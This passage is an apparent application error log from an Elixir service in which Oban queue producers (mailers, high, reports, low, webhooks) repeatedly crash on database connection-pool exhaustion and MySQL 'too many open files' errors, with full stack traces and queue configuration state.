    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:55:16.239749Z], limit: 20, uuid: "0a4e03dc-851f-418a-a8bc-2c13eae165b6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:16.239753Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.38198>, refresh_timer: #Reference<0.2525715032.1099431938.36941>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:55:16.239973Z], limit: 50, uuid: "6050905e-2023-48f8-80a9-ae1c37b56099", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:16.239977Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.38201>, refresh_timer: #Reference<0.2525715032.1099431938.36950>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 871ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:55:16.241263Z], limit: 3, uuid: "e7457141-d68d-4a7d-85e9-499552995938", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:16.241269Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.38202>, refresh_timer: #Reference<0.2525715032.1099431938.36960>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 842ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:55:16.239572Z], limit: 5, uuid: "85689208-0fba-4caa-8349-23e9839e36ed", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:16.239578Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.38200>, refresh_timer: #Reference<0.2525715032.1099431938.36939>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:27.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:55:16.240033Z], limit: 5, uuid: "4fc17bd0-913a-46c9-b48b-dfdddfcd5ca1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:16.240038Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.36961>, refresh_timer: #Reference<0.2525715032.1099431938.36953>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:32.404000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:33.856000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:36.116000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:37.673000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:55:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1008ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:55:27.240260Z], limit: 3, uuid: "636e3303-e32a-45d7-89fa-b1fd865ced34", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:27.240265Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.38579>, refresh_timer: #Reference<0.2525715032.1099431938.37017>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:39.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:55:27.239973Z], limit: 20, uuid: "d6bfe782-b67e-404a-8988-9dd96a5ad006", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:27.239978Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.38543>, refresh_timer: #Reference<0.2525715032.1068498948.38535>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:39.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:55:27.241023Z], limit: 5, uuid: "cb9a577a-7edb-4a69-8ebb-34ecba612d9c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:27.241029Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.37043>, refresh_timer: #Reference<0.2525715032.1099431938.37029>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 855ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:55:27.240263Z], limit: 5, uuid: "a65654f8-1001-4568-a72a-1150c53f37b6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:55:27.240269Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.38578>, refresh_timer: #Reference<0.2525715032.1121189889.145319>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:55:39.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 833ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
